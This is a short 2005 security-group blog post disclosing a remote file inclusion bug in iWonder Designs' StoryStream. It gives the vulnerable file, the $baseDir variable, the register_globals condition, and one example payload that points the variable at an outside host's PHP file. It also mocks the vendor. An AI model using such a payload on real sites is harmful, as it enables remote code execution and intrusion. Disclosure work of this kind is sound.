by r0t,der4444,cembo,VietMafia

Monday, December 05, 2005

iWonder Designs

iwonderdesigns.com/storystream/

iWonder Designs provides custom application and web development services at affordable prices
with the highest standards of quality.

StoryStream:
-Stories
....
-Reading Room
....
-Creativity Room
....
-Lounge
....

Bug:
/include/files.inc.php

The variable $baseDir is used in an insecure manner. If registered_globals=On, remote code execution can result.

example:
baseDir=pridels.blogspot.com/iwonderdesignsUCKS.php?

This product is still in Beta according to sourceforge. However since these developers also do 'contract' coding, I do
not doubt this product may appear in final production servers.

Similar problems may exist in sites coded by them.
iwonderdesigns.com/contracting/
Even though they claim:
"Highest standards of quality" But maybe basic security is not part of their high standards.


der4444 - pridels.blogspot.com
How can people make money coding crap like that?
This document is the intellectual property of me, so leave it as is.

1 Comments:

Blogger r0t told...

maybe someone will post some genius comment that again somebdy isnt profesional cauz nobody was reported to " I wonder Designs!"

bro keep posting!

5:55 AM

 

Post a Comment

<< Home

 
Copyright (c) 2006 Pridels Sec Crew